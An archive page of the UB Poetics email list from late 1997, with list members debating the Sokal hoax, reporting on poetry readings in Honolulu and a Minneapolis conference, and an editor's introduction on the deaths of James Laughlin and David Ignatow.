Founded in 1975, Microsoft (NASDAQ "MSFT") is the worldwide leader in software for personal computers and democratic government. The company offers a wide range of products and services for public, business, and personal use, each designed with the mission of making it easier and more enjoyable for people to take advantage of the full power of personal computing and of the free society every day.

About the United States

Founded in 1789, the United States of America is the most successful nation in the history of the world, and has been a beacon of democracy and opportunity for over 200 years. Headquartered in Washington, D.C., the United States is a wholly owned subsidiary of Microsoft Corporation.

--Bob G.

↑ **Index**

604. Henry Gould
SOAK-A-LACAN
Fri 31 Oct 1997

Well, Carlo, it's probably pointless to get into a debate with me on this one. I probably never should have opened me mouth. I don't know much about the war between one kind of scientist and another, or the cabals of techno-bureaucrats out to stamp out any subversive (wo)manifest(ive)ations of differance & all that. I says it as I sees it, & maybe I missed the big picture. But from where I sit in my triple goliath goulash chair, I still say Sokey was hittin on a PARTICULAR STRAIN o' postmodernism, i.e. the philosophical anti-realism of Lacan & Derrida. Now I agree that Western Science is Marked with the Doom of Ahab & Moloch & all that; but I think that nihilism is just the flip side of the coin, another sort of one-eyed "explanation" that really doesn't CONNECT with science in any way, and that's what Sokal was making fun of. Laugh on, ye laughsters... - Henry the Gigantic Master of the Universe, Jr.

↑ Index

605. mark weiss
lacanic statement
Fri 31 Oct 1997

It's a waste of time to argue against logohrreia and paranoid fantasies, so I'll restrict myself to one point. Almost no m.d.s consider themselves scientists, and for good reason. I don't know about Lacan in this respect, but Freud, his master, did, and he was wrong, and fewer and fewer of even his adherents seriously claim that he was a scientist, despite his virtues. Dr. Frankenstein, however, was a scientist. Happy Halloween, Dia de los muertes, etc.

At 02:00 PM 10/31/97 -0500, you wrote:
>Henry: You miss the point. Lacan as a medical doctor WAS a scientist.
>Many of the people that Sokal, Gross and Levitt choose to attack ARE
>scientists. They ARE attacking science. Weinberg attacks Heisenberg as
>readily as anyone else. The Post-Modernists merely serve as a conduit
>for theses attacks. Gross and Levitt attack environmentalists,
>philosphers of science, physicists, biologists---in short anyone that
>does not agree with their corporate friendly position. Sokal, Gross,
>Levitt and by association Weinberg do not want to partake in a
>discussion of the efficacy or weakness of their position. They want it
>accepted by fiat. Why do you think Sokal chose the route of publication
>he chose? In my neighborhood, we used to beat the crap out of sneaks
>like Sokal whether they had a point or not. Sokal's way would simply not
>be considered an honest way to handle your differences.

>The Post-Modernists have provided Sokal's handlers an opportunity to
>wage a much wider attack. On this measily little E-Mail we have engaged
>in philosophical banter far more profound than that engaged in by Gross
>and Levitt, Sokal and Weinberg and that ain't sain' much. (For someone
>on the list to have said that Weinberg's piece in the N.Y.Times Review
>was closely argued is nonsense.) At least, Gross and Levitt seem to
>realize that they are attempting to discard serious concerns that the
>founding fathers of physics in particular addressed earlier in the
>century. In their book, they gingerly tried to create a PostModernist
>intellectual discretion where none exists. POSTMODERNISTS DID NOT
>INITIATE THE CONCERNS THAT SOKAL, GROSS, LEVITT AND WEINBERG
>RIDICULE---SCIENTISTS DID, INCLUDING SOME OF THE GIANTS OF
PHYSICS.
>That's where I learned about them not through PostModernism. I'm
>assuming I still retain the right to ruminate on these supposed lunacies
>as postulated by apparent lightweights as Heisenberg, Bohr, Bohm,
>Penrose, Hansen, Feyerabend, Wittgenstein, Husserl etc.
>At risk of distracting you from the above consideration, I'd like to
>elaborate on Brennan's "goliath." In the nineteen seventies, there was a
>conscious decision on the part of corporate entities to create a new
>public relations network of think tanks and institutionally connected
>organizations that sole purpose was to produce intellectual product to
>counter what they perceived as dangerous egalitarian trends in society.
>Some of the authors of this reactionary product are well known such as
>Murray and Herrnstein, Theodore Shockley, Dinesh D'Souza, Francis
>Fukiyama, Allan Bloom and Gross and Levitt. I would suspect that the
>liberal and/or obscure Marxist leanings of some of the
>Deconstructionists and their PostModern adherents has more to do with
>the attack on them than their positions vis a vis the sciences. You seem
>to realize with much enthusiasm that PostModernist thought can have no
>effect on the juggernaut of science because of technologies fundamental
>relation to what is currently society's most profound truth--money. But
>when voters in Texas rejected a huge particle accelerator to be built in
>their home state, alarms went off among jilted corporate contractors and
>they want answers from the egg heads on their payrolls. The chance to
>have the biggest particle accelerator in the world was rejected by
>Texans after all!
>Sokal's piece arrived at one of the right places at the right time and
>now if he can stomach what he's doing, he'll reap his reward. Ask
>yourself this Henry, if as you say, the accomplishments of POSTMODERN
>ARTISTS are confined to "special languages and metaphors" why are the
>powers that be expending so much time and money to refute them? Why not

>just ignore them? One doesn't have to look too far to see that the war
>is among environmantal scientists and corporate scientists, between
>scientific racism and its close association with emerging genetic
>technologies and scientists that take a more egalitarian position,
>between a world run on market logic and corporate science's
>technological rationalism and the health and social requirements of our
>species and all the others we have created the discretion of species
>for. PostModernism because of its interest in physics and mathematics in
>the years between the introduction of Planck's Constant and Heisenberg's
>and Bohr's mathematical expressions for quantum phenomena, finds itself
>caught up in the larger struggle. I envy them. Its always better to be
>attacked by "goliath" than be attacked by
>a goliath wannabee like you.---Carlo Parcelli
>
>

↑ Index

606. **Juliana Spahr**
reading report from Honolulu
Fri 31 Oct 1997

I wrote this for someone and then they pointed out that it was way too long but since I had written it I didn’t want to just abandon it so I thought why not just send it to the poetics list where length doesn’t really matter. Then I tacked on today the two things at the end.

--Juliana Spahr

Reading report from Honolulu...

I feel like I have to begin everything I say here with I’ve only been here in Honolulu for three months but it seems to me like . . . Because the one thing I can say definitively is that the local matters here. Those in the know wear the slogan “local” engraved on their slippers (flip flops to you in the contiguous 48). And some days it feels that everyone but me owns a pair of them. I’ve been to some readings and one lecture since I arrived.

In August there was a reading for Frederick Wichman’s collection of Kauai legends. The tale he read was about bananas and there being special ones that women couldn’t eat. The reading was in an airless, windowless room. I’ve only been here three months but it seems to me that the windowless, airless room is an important Hawaii poetry reading tradition. I wonder if it is because it is so beautiful outside, people just want some ugliness when they come to their readings.

In September, San Franciscan Steve Carll read with local Angela Nishimoto in a different airless, windowless room. Steve read some new stuff and his drug poems, these last are old favorites. Angela Nishimoto read a story about the difficulties of living life in a multicultural environment. After the reading someone said it was good because it said things like the words haole and asshole were meant to be together.

I've only been here for three months but it seemed like the event of the season, or the one that was willing to make that claim, was probably the Hawaii Fall Celebration of Writers and Writing held in late September. It was two days long and its theme was Literature of Place. It felt very literary. It began with a book fair on the lanai, drinks, and a band. Lots of people wore leis. I've only been here for three months, but I've already noticed that someone always wears a lei at a reading. This someone is usually the reader. But here there were leis for those who were to ask questions, those who were to introduce, those who were honored with a prize, those who were to give a prize, those who were honored because they were old, those who had written a grant, and, of course, the readers. The first night Marilyn Chin, of San Diego, read some poems about Asian-American identity, Lee Grue, of New Orleans, read some poems about New Orleans, Mahealani Dudoit, of Honolulu, read an essay about water rights on Oahu, Ron Carlson, of Phoenix, read a piece about Salt Lake City, Pio Manoa, of Fiji, read some poems about the sea, and Pualani Kanaka'ole Kanahele, of Hilo, read a chant about Molokai. These last two were the highlight of the evening for me. Pio Manoa's poems were straight up new critical verse untainted by new formalism's casualness. I had not heard stuff like this live ever in my lifetime and it made me very excited. Pualani Kanahele's chant was also amazing. She chanted it in Hawaiian and the audience was awed. Then she read it in English and the audience remained awed. She had presence. There was lots of discussion after the reading. One man spoke of how he traveled the earth right now as a white male but he had a secret identity that he wished we all would recognize. The second night began with a incisive introduction by local writer/hero Eric Chock. He said that when he first heard that the university was doing something on the literature of place that he thought oh good, they are finally doing something on local writers. But then he good humoredly tempered his comments by noticing that people were from many different places. I've only been here for three months, but it seems to me that Eric Chock was pointing to some sort of antagonism between the university scene and the vibrant local scene. Pamela Ball, of Tallahassee, began her reading by asking the audience to forgive her for leaving Hawaii, David Collins, I don't know where he is from, read a long piece about eating in Paris, it was very saucy and I think I can say it was not well received, Alison Deming, of Tucson, read some poems about the migrating monarchs, the butterfly kind, Bruce Fulton, of Seattle, read a

translation he had done of a Korean story, Michelle Cruz Skinner read a story about being in grade school. Lois-Ann Yamanaka finished the evening by wowing everyone with an especially funny reading from Blu's Hanging. It was worth the wait but I have to confess it had been a long evening.

In October African novelist and playwright Ngugi wa Thiong'o came to talk. The talk was packed. They had to move rooms. Then they had to add chairs. He was an hour late but the audience didn't complain. They sang chants in Hawaiian while waiting. Then he arrived. A woman walked down the aisle, carrying a lei for him and chanting. Then a man, also chanting, escorted him down the aisle. Then Ngugi wa Thiong'o chanted. Then he received the lei. Then he gave a talk called "Native Languages and the Politics of De-Colonization." He said "one area of decolonization that needs the most attention is the decolonization of language." It was a great talk although it had that distinguished lecture series feel which doesn't allow enough specificity. The rhetoric was right on though.

Also in October was the reading to celebrate the new issue of Tinfish (go buy!--available from the editor, Susan Schultz 47-391 Hui Iwa St No. 3 Kaneohe, Hawaii 96744 for $13 for 3 issues). The reading was packed and lots of young people were there. This reading was held in a coffee shop. Joe Balaz read a long rambling Balaz poem in pidgin (it should be a genre). The poem was pure narration with little point. I liked it. Kathy Dee Kaleokealoha Kaloloahilani Banggo read. She also has a chapbook out from Tinfish which you should buy immediately. It grooves. Her poem "Try Listen" which she read at the reading and which is published in both Tinfish and the chapbook begins like this: "While da res of us stay fry hamburgahs o drive truck go pick up opala--stink ah?--some sistahs stay in wrap aroun telling any kine stuff j'like who "da people" stay, la dat. Eh, what da diff if I weah one wrap aroun fo go work luau take pitacha wit da yobos an da haoles--eh, 10 dahllas one hour--o if I weah one wrap aroun fo go rally make any kine noise? I no mo one PhD, tita, but I can tink fo myself. You know aht, I get one termometer get plenny degrees--I stick em up my ass when I staht fo tink I know wassup fo somebody else." Tony Quagliano read some poems about nature. And Marie Hara read a poem about her daughter. All in all a good evening.

Last night Albert Saijo read. When he said, "I AM AN ANIMAL IN A CAGE AND I'M BARKING TO BE LET OUT" (that is from my notes; I don't have the book with me right now so don't quote me on it), a woman in the audience said "you go girl." Albert Saijo is old and he hung out with the beats and he lives in Volcano now. He doesn't like computers and he likes the muse. His book shows he is clearly a new Blake--kooky, visual, emphasis on the rhapsodic. At his reading people were laughing really hard. Especially when he read his poem that called

for the eradication of pain. His poems are written with different colored pencils in a distinct scrawl (think Grenier here?). Bamboo Ridge, which just published his book, has reproduced pages from the poems and then transcribed the poems in all capitals. I think you should read this book also because it is a good time.

↑ Index

607. **henry g**
friday's riddle
Fri 31 Oct 1997

Has anyone else noticed that in CD Bowen's book, MIRACLE AT PHILADELPHIA about the constitutional convention (phila(d'e)(lphia)) the frontispiece photo of a bust of George Washington by the sculptor Houdon looks a lot like Joseph Brodsky? [the farther from his country]

BEAR with me [grrrr....]
- Hen Goulchik

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608. **Bob Grumman**
Re: Nominations please
Fri 31 Oct 1997

---

p. durgin wrote:
>
> Sounds like a job for Comprepoetica.
>
by which he means a site where all nominations are or will be listed.

Compropoetica: actually, I like it BUT NOT YET!! Too much going on at my site right now. Anyway, I'm sure the people gathering nominations will come up with something. But my thanks to p. durgin for suggesting my site.

Bob G.

↑ Index

609. **George Bowering**
Re: Nominations please
Fri 31 Oct 1997

> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*

> "*I do not this I do not that*"
> --*Jordan Davis, "Poem on a Train*"

Sounds like Dr. Seuss to me!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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610. **R. Gancie**
Sokal & Lacan: Correction
Fri 31 Oct 1997

Theodore Shockley should be William Shockley. Theodore Shackley is a long time CIA operative. Mark: MD's are trained in the scientific method and as Elder Olson points out "Agreement on method [in a science] is such that, in any subject, method is spoken of in the singular rather than in the plural." F.A Hayek, one of the intellectual gurus of neocon thought, in his Counter-Revolutions of Science comes out strongly against the mathematization and quantification of culture. He exempts two elements, the hard sciences as opposed to the social sciences and capitalism. Your position is in perfect alignment with Hayek's and Sokal's and the intentions and actions of the heirs of Hayek's agenda are well publicized. Congratulations. ---Carlo Parcelli

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611. **mark weiss**
(no subject)
Fri 31 Oct 1997

Wow! Perfect alignment! Better check my horoscope.

It's odd how little anguish I feel about incomprehensible accusations. I, myself, I should warn you, was a CIA elder before they detribalized the agency. Ted was our shaman, but some of us thought even then that he was a bit of a neocon man. In those days we hadn't learned to count our toes, and some of the estimates were pretty wild. We hadn't discovered metric feet. It was a confusing time, but we had great parties. Sometimes we went around beating up satirists. Hell, when we were on the street even a little irony was dangerous. Now that we've decided to take over the world, however, excessive earnestness and claims of purity draw our attention. Might pay to lock your door.

At 08:32 PM 10/31/97 -0500, you wrote:
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>long time CIA operative. Mark: MD's are trained in the scientific method
>and as Elder Olson points out "Agreement on method [in a science] is
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>
>

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

November 1997

576 messages · Thu 30 Oct 1997 – Sun 30 Nov 1997

November 1997 took the publisher and the poet five days apart. On the twelfth James Laughlin died at Norfolk, Connecticut, aged eighty-three, and Marjorie Perloff got it to the list that night from a residency in Indiana, apologising for not writing at her normal speed: *“One of the great literary men/women of our time”* had died today, many here had been published by him, it was a sad, sad day, and she was sure Weinberger or Rothenberg would send something better — she just wanted people to know. On the seventeenth David Ignatow died, and Charles Bernstein had it from Wednesday’s Times. Five hundred and seventy-five letters. Laughlin is named in them a hundred and ninety-five times; Ezra Pound a hundred and ninety-six.

The second thing that happened is why I have given this volume the room I have. On the morning of the thirteenth Joseph Zitt asked whether somebody could fill in *“those of us who didn’t know of him”* as to who Laughlin was and what he had done. On a poetry list. I want to be plain that this is not a stupid question and Zitt was not ashamed to ask it — it is the question Joe Amato asked about the inaugural poet in January — and the answer it got is the finest hour in this archive.

They told him. Maxine Chernoff, briskly: *“the distinguised publisher of New Directions”*, started in the thirties and run for sixty years. Pat Pritchett supplied the money, an immense Pennsylvania steel fortune, and then the fact the month turns on — *“Pound, however, advised him to give up poetry”* and start a publishing house instead. William Burmeister posted Octavio Paz’s account entire: the disappointing Harvard professors, the months at Rapallo in what Pound called the Ezraversity, the pact the two men made, the house that came of it and never sold itself. Burmeister added he could not honestly say *“if I would be in poetry right now”* but for Laughlin. Tosh, who is *“starting up my own press”*, said he looked up to him. Somebody posted Technical Notes.

For Ignatow, Bernstein did the other thing he does, and it is the better one. He posted the man’s own words — from All Else is Prelude, where Ignatow writes that *“If language could save me from death”* he would be immortal already; that he had thought writing an elixir until he began to notice his hair going grey; and that if immortality exists it is in the writing as an art, *“not as an elixir of the body’s survival”*. Hank Lazer wrote a short eulogy for a man he had spent the week *“thinking about my friend”*, and Douglas Barbour thanked him for *“that*

small but so complete eulogy”, and Joseph Safdie said he had been about to thank him for the same thing.

Set the two side by side, because November did. Ignatow says language will not save your body and might save your art. Laughlin was told as a young man, by the most consequential critic of the age, that he should stop writing poems — and took the advice, and gave the century Williams and Rexroth and Levertov and Snyder and Borges and Paz and Dylan Thomas, and Pound himself, who had told him to stop. I have set Zitt’s question and the answers to it exactly where they fell, because a room that has argued about Ezra Pound in every month I have read spent one day in November burying the only person Pound ever did an unambiguous good to, and had to be told, by six people at once, who he was.

— Kristen M. Fabians

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270. henry — Re: Acmeists
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275. William Burmeister Prod — Re: James Laughlin
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279. Michael Coffey — Re: James Laughlin -Reply
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304. David Kellogg — Re: Frederick Turner's The Culture of Hope
305. David R. Israel — Re: Acmeists, now ... Futurists?

306. henry gould — things happened in Providence
307. aerialedge — Re: watten barrage
308. Matthew Hart — Re: watten barrage
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311. David Kellogg — Re: watten barrage
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321. Aviva Vogel — Re: watten barrage
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323. P.Standard Schaefer — Border's Books/Union Petition
324. Layne Russell — Re: Announcing Proliferation #4 issue & Contributors' Reading
325. Henry Gould — friday's riddle
326. Keith Tuma — Re: watten barrage

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327. Patricia Cockram — Re: James Laughlin
328. Burt Kimmelman — Re: James Laughlin
329. David Kellogg — Re: James Laughlin
330. Mark W Scroggins — Re: James Laughlin
331. Burt Kimmelman — Re: James Laughlin
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334. joel lewis — Re: William Matthews
335. David R. Israel — Mosley's poesy
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339. Annie Finch — Re: James Laughlin

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340. Tosh — Re: James Laughlin
341. Jerry E. Fletcher — Re: James Laughlin
342. Jerry E. Fletcher — Re: visual poetry on the internet
343. rsillima — Laughlin/Pound
344. Miekal And — Re: visual poetry on the internet
345. Alan Grep Sondheim — Stupid Jennifer's Exercises! (fwd)
346. robert drake — Re: visual poetry on the internet
347. Maria Damon — Re: James Laughlin
348. Maria Damon — Re: James Laughlin
349. Harold Rhenisch — Re: James Laughlin
350. Rob Hardin — Grief to come
351. Susan Schultz — RHawai'i Winter League Baseball
352. Scott Pound — ANNOUNCING ESSEX MAGAZINE
353. B. Taylor — Pound, Moore, Laughlin
354. Harold Rhenisch — Re: quote for the day
355. Harold Rhenisch — Re: James Laughlin
356. Henry Gould — Re: Laughlin/Pound
357. Burt Kimmelman — Re: Pound, Moore, Laughlin
358. Kali Tal — Heath anthology, Lazer, Lauter...

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359. Jerry E. Fletcher — Re: Pound, Moore, Laughlin
360. david bromige — tragedy
361. Tosh — Re: James Laughlin
362. Jerry E. Fletcher — Re: Grief to come
363. Jordan Davis — Yasusada ... Watten ... Social texas
364. Burt Kimmelman — Re: Heath anthology, Lazer, Lauter...
365. Keith Tuma — Re: Yasusada ... Watten ... Social texas
366. David R. Israel — social
367. Scott Pound — ESSEX
368. Mark Prejsnar — Re: Border's Books/Union Petition
369. Maria Damon — Re: tragedy
370. p. durgin — Re: not worth quoting, a tangent
371. mark weiss — Re: Heath anthology, Lazer, Lauter...
372. groberts — R. Buckminster Fuller
373. mark weiss — Re: not worth quoting, a tangent
374. henry gould — Re: not worth quoting, a tangent
375. r.drake — Re: R. Buckminster Fuller
376. Catherine Daly — Re: R. Buckminster Fuller
377. acgold01 — Thanks
378. Hugh Steinberg — Re: Yasusada ... Watten ... Social texas
379. Dean A. Brink — Re: not worth quoting, a tangent
380. Pritchett,Pat — Re: Naropa Triple A
381. Susan Clark — reminder of Nov22 RADDLE MOON 16 launch at HERE
382. Steve Evans — Farrell's Fuller
383. Mark Baker — Hershon and Chatterton
384. Jo Ann Blevins — R. Bucky Fuller
385. maz881 — Re: RHawai'i Winter League Baseball
386. david bromige — naropa triple A report
387. Maria Damon — Re: Naropa Triple A
388. Maria Damon — Re: RHawai'i Winter League Baseball
389. Safdie Joseph — Re: buzzwords of the moment
390. Pierre Joris — Re: R. Bucky Fuller
391. Marcella — Re: R. Buckminster Fuller
392. George Bowering — Re: RHawai'i Winter League Baseball
393. George Bowering — Re: Pound, Moore, Laughlin

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396. Jerry E. Fletcher — Re: social (was texas)
397. mark weiss — Re: not worth quoting, a tangent
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399. Rob Hardin — grief to come/*tragedy* et al
400. hen — Re: not worth quoting, a tangent
401. David Zauhar — Re: RHawai'i Winter League Baseball
402. J. Tate — Literacy
403. Rob Hardin — grief not merely mine, nor conclusions personal--
404. Christopher Alexander — Re: to spank your curiosity
405. Jordan Davis — Re: Hershon and Chatterton
406. Tom Vogler — Bananas?
407. Pritchett,Pat — Re: Naropa Triple A
408. Rudolph Rougenez — Re: Hershon and Chatterton
409. Pritchett,Pat — Re: to spank your curiosity
410. Jerry E. Fletcher — Re: not worth quoting, a tangent
411. david bromige — Not only my curiosity

412. henry gould — Re: democracy
413. david bromige — rob hardin's grief
414. p. durgin — Re: not worth quoting, a tangent
415. Jay Schwartz — Re: Grief to come
416. p. durgin — Re: not worth quoting, a tangent
417. mark weiss — (no subject)
418. Steven Marks — more comedy tonight
419. Miekal And — hEar wRave
420. David Zauhar — Re: Literacy
421. david bromige — gratitude for the comedies tonight
422. Maria Damon — Re: to spank your curiosity

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423. Alan Myouka Sondheim — origins of language (fwd)
424. Michael Magee — Re: democracy
425. William Burmeister Prod — (no subject)
426. William Burmeister Prod — Re: more comedy tonight
427. William Burmeister Prod — Re: Literacy
428. David Benedetti — Re: Literacy
429. William Marsh — bloopers
430. p. durgin — Re: democracy
431. Michael Magee — Re: democracy
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442. Dean A. Brink — Re: Yasusada in Texas

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445. Jerry E. Fletcher — (no subject)
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447. henry gould — Re: democracy
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450. Rachel Loden — alot(ta) lingo
451. David Zauhar — Re: Yasusada in Texas
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468. Maria Damon — Re: latest hit theyre hummin in yasonoma county

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470. Jerry E. Fletcher — Re: latest hit theyre hummin in yasonoma county
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475. Charles Bernstein — Dia Reading / NYC
476. Jerry McGuire — special issue
477. David R. Israel — quadrosyllabics
478. Daniel Zimmerman — Re: quadrosyllabics

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480. John Cayley — Chinese New Year comes early
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482. Annie Finch — Re: syllabic stress/quadrosyllabics
483. Sylvester Pollet — Post Office Caveat Emptor
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485. Harold Rhenisch — Re: Yasusada in Texas
486. dbkk — Carole Maso in San Francisco

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488. Daniel Zimmerman — Re: Yasusada in Texas
489. jarnot — readings at the poetry project
490. Jordan Davis — Re: quadrosyllabics

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493. William Burmeister Prod — Re: readings at the poetry project
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495. William Burmeister Prod — FlashPoint URL
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497. maz881 — Hubble's influence
498. Jack Foley — FlashPoint URL -Reply
499. Aldon Nielsen — Ann Petry
500. henry gould — Re: Hubble's influence
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502. David Kellogg — Re: Ann Petry
503. Jordan Davis — Re: Hubble's influence
504. Dean Taciuch — Re: Hubble's influence
505. Daniel Zimmerman — Re: Hubble's influence
506. david bromige — who wrote that Fibonacci poem
507. Jerry E. Fletcher — Re: Hubble's influence

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509. David R. Israel — oops
510. Jerry E. Fletcher — Re: David Ignatow (1914-1997)
511. Jerry E. Fletcher — Re: Hubble's influence

512. Louis Cabri — borsht of longing
513. Layne Russell — Re: Hubble's influence
514. maz881 — Re: Hubble's influence
515. rsillima — Ignatow & Objectivism
516. Henry Gould — D. Ignatow
517. henry gould — acmeism / futurism
518. Marcella — Re: Hubble's influence
519. dbkk — Friends of Kathy Acker
520. Douglas Barbour — Re: David Ignatow (1914-1997)
521. Aviva Vogel — Re: David Ignatow (1914-1997)
522. Safdie Joseph — Re: Ignatow & Objectivism
523. Harold Rhenisch — Re: literacy
524. Harold Rhenisch — Used Dog Urine
525. trace s. ruggles — Re: oops
526. Herb Levy — forthcoming Subtext readings
527. Herb Levy — Eustache's The Mother & the Whore
528. Harold Rhenisch — Re: Hubble's influence
529. Miekal And — bad poetics
530. Miekal And — zaum + Re: acmeism / futurism = explodity
531. Carolyn Guertin — Re: Used Dog Urine
532. Steven Marks — Re: oops
533. david bromige — krad kolodny, bad poet of used dog urine

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534. Herb Levy — Re: forthcoming Subtext readings
535. IMBURGIA — Re: bad thanksgiving poem
536. Jerry E. Fletcher — Re: krad kolodny, bad poet of used dog urine
537. henry gould — bad thanksgiving poem
538. Harold Rhenisch — Re: krad kolodny, bad poet of used dog urine
539. Judy Roitman — Re: literacy
540. hen — Re: bad thanksgiving poem
541. Christopher Alexander — Buy Nothing Day 1997
542. Christopher Alexander — bad thinksgiving pome
543. Jerry E. Fletcher — Re: bad thanksgiving poem
544. Daniel Zimmerman — Re: literacy
545. IMBURGIA — Re: bad thanksgiving poem
546. david bromige — one more entry for the Turkey Award
547. L.MacMahon and T.R.Healy — Wild Honey Ad.
548. Brian Carpenter — Re: krad kolodny, bad poet of used dog urine
549. Mark Weiss — (no subject)
550. Jordan Davis — Re: one more entry for the Turkey Award
551. Bob Grumman — Re: literacy

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552. Jerry E. Fletcher — Re: Buy Nothing Day 1997
553. Charles Weigl — [Fwd: [Fwd: friends of Kathy Acker]]
554. Douglas Barbour — Re: Hugh Kenner on CBC
555. Harold Rhenisch — Kenner on the CBC
556. Harold Rhenisch — Re: literacy
557. Harold Rhenisch — Re: Buy Nothing Day 1997
558. Bob Grumman — Re: literacy
559. Harold Rhenisch — Re: literacy
560. david bromige — literacy
561. Bob Grumman — Re: literacy

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562. david bromige — literacy/concept/phenom/thread

563. David R. Israel — Re: literacy
564. Bob Grumman — Re: literacy/concept/phenom/thread
565. Pierre Joris — for your amusement
566. Steven Marks — "gang" review
567. KENT JOHNSON — phenomena
568. KENT JOHNSON — Bromige and Tennyson

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569. David R. Israel — Re: phenomena
570. Harold Rhenisch — Re: literacy/concept/phenom/thread

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571. Gwyn McVay — Guest festschrift at Brown
572. Annie Finch — Re: Bromige and Tennyson
573. raea100900 — Re: Kathy Acker
574. Douglas — James Laughlin
575. Douglas — errors in Laughlin
576. rsillima — Natacha Lallemand

1. William Burmeister Prod
Re: Nominations please
Thu 30 Oct 1997

On Oct 30, 2:12pm, Carol Mirakove wrote:
> Subject: Re: Nominations please
> "Go ahead and blow us up, just spare me the warnings."
>
> "To hell with this social angst, let's make beads."
>
> both from Mark Wallace's _Nothing Happened and Besides I Wasn't There_
>-- End of excerpt from Carol Mirakove

> "*Go ahead and blow us up, just spare me the warnings.*"

- The last words of Joseph K.in Orson Well's film version of Kafka's _The Trial_ after his executioners opted out of the kosher approach.

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2. cris cheek
(no subject)
Sat 1 Nov 1997

Hi,

The Cross-Cultural Poetics Conference in Minneapolis
felt like a strong friends and allies gathering
in search of a shareable agenda. That agenda remained
largely illusive.

Still, I enjoyed it, but then i liked Minneapolis very much as a friendly and relaxed city. Lots of decent cafes, coffee houses, book stores, extraordinary music stores, good museum collections (Walker collection plus Beuys' 'Multiples' show, Wiseman's Pop in Gehry's extraordinary sardine cans buffeting the Mississippi - reflecting river, bridge and sky, with a very funny show of Indian Humour, and the Minneapolis Institue of Art showing much else besides a decent whack of Minor White photographs), cheap, enticing Ethiopian and Vietnamese foods.

Lucky to be there just before the weather turned.

Maria Damon, Mark Novak and Leslie Denney (among others)
put a strong, sometimes too decision-racked schedule together.
Delegates were enabled to elect for all papers, less poets /
or more poets, less papers. A split that bears healing.

Still, it was a place to meet and exchange even though
important issues were neutralised for the duration.

Prize for most referenced works goes jointly to:

Theresa Hak-Kyung Cha's 'Dictee' (I'd add Walter Lew's equally extraordinary response) and Nathaniel Mackay (whose CD of 'Strick:Song of the Andoumboulou 16-25' deserves wide appreciation)

Along with David Kellogg's report on Poetics (and an otherwise
curious silence on that list) I valued the presence and
contributions of:

- Fred Wah, Jeff Derkson and Roy Miki's papers under Canadian
'multiculturalism' (from which many salutary lessons
can be brought into the UK context, particularly with
regards imminent developments in official policy here) and their 'readings'
from which a bevy of book recommendations:

Fred's 'Diamond Grill' and 'Alley Alley Home Free'
Jeff's 'Dwell'
Roy's 3 recent issues of West Coast Line magazine, of which
I'd stronglyly recommend 'Transporting the Emporium' (Hong Kong Art
& Writing Through The Ends of Time). An indespensible collection.

- readings by Julie Patton, Susan Wheeler and Jen Hofer:

Susan's 'Bag 'O' Diamonds' is from University of Georgia and worth tracking down.

- Kamau Brathwaite's talk / reading was worth the trip alone. His current layout work employing full range of computer typographies is a great pleasure - and a great weaseling body of work to bridge bigotted divides between tendencies. Check out Hambone (no.10) to see what i mean. From, 134 Hunolt Stree, Santa Cruz, California 95060

- presentation by Erik Belgum and Brian West of VOYS (CD mag). first issue is Ray Federman (i'm slow to catch up with Federman, but am now thick into the excellent 'Take It Or Leave It' which has a revised edition out from the Fiction Collective) reading 'Voice In The Closet' a must buy full reading of signal text and upcoming issues are equally strong. 'Exploring the dimensions of speech . . . of sign in sound.' High production values. Sub Rates (2 CDs / year) $32 from uk. Suscribe to Voys, PO Box 580547. Minneapolis. MN 55458. USA

- papers by Alan Golding 'Po-Biz, Cult.Stud., and Avant-Gardes?' (including a prolonged meditation on 'X' in post-war US writing) + Loretta Collins 'Trouble It: Rebel/Revel Soundspace in the Caribbean Diaspora' + Yunte Huang 'Charlie Chang vs Ezra Pound: Modern Conceptions of the Chinese Language' all helped

to assuage pangs left by reprehensible muffins and a chronic milk shortage for the stewed coffee port.

- finally a book that came my way out of a meal with the author (whose everythig else i'd missed - that's often the irritating way with conferences) that i've not seen mentioned before but which i'd recommend is:

Hilton Obenzinger's 'New York on Fire', a delightfully assembled chronicle of fires that have ravaged New York ever since. Somehow reminded me of Paul Metcalf who was another ghost presence at XCP

- to whit the new journal XCP (cross cultural poetics) edited by Mark Nowak with work by Amiri Barak, Maria Damon, Lise McCloud, Solomon Deressa, Walter Lew, Ofelia Zepreda, Elizabeth Burns, Edwin Torres and others. Contact Mark via [redacted],edu to subscribe. It's worth subscribing to now. And considering contributing to.

Over the top home Halloween installations (ghosts crossing and re-crossing the porch, blooming luminous from cupboards like cuckoos, chair-size pumpkins), the Snoopy theme park that forms the centrepiece of the Mall of America, cross street raised glass walkways, inner city reservations (with some of the highest infant mortality levels in the world).

After all that I arrived in Buffalo just in time to preface a reading from Caroline Bergvall with the first outing for 'Double Sky Hope's Locker' (out now from SVP). Caroline read a strong set featuring 'In Situ', 'Don't Push It', from the work she's been calling 'Greek Myth Since Freud' and a pithy sequence on bilingualism she's been writing 'on the road'.

Next day we picked our hangovers to hear Steve McCaffery's bravura lecture on 'Text, Lay-out and Memory' during which he took Derrida's logo-centrism to task, set out to reclaim so-called illuminated manuscripts from art historians by dint of proving that the 'illustrations' instead formed part of a working grammatalogy - were writing 'in other words' - that letters were highly motivated and that Mary Carruthers takes what Frances Yates opened on memory to fresh heights. All eyes out for the MIT anthology from Steve in the New Year. I'm paraphrasing a rangey and procative talk wildly here.

London, Ontario has its own Oxford Steet and River Thames. Also some fine neon signage in sans-serif fonts 'Live Lobsters - Now Hiring', that sort of thing. Five (exluding myself, although i got an honourary form of membership) of the now infamous Buffalo School of Homophonic Translation read in the Forest City Gallery - organised by Peter Jaeger, Tom Orange and Kevin Hehir.

There was a full house, including members of the aging but very much still active Nihilist Spasm Band. Taylor Brady, Scott Pound, Bill Howe, Eleni Stecopoulos and Mike Kelleher are all strong readers with distinctive work. A younger grouping and 'on the move'. Eleni, Taylor, and myself all joined Bill in a preview of the overture from his opera, bringing the evening to a rebarbitive finale. We gave local radio interviews to a fresh-faced dictaphone low on batteries and the event will be marked by a selection from all in Rampike.

Finally McCaffery and myself (realising it was almost 20 years to the day since the 11th Sound Poetry Festival in Toronto) opened a joint show of visual work in the Cornershop gallery, Buffalo (a guerilla show put on by Bill Howe - who with Scott Pound edits the also excellent Essex Magazine of visual poetics, 2 issues available to date - and who paid homage to boxes of Alphabits [best language trauma Marlon Brando as The Godfather image of the decade award], read a longish poem and performed a piece we'd put together that week on his letterpress).

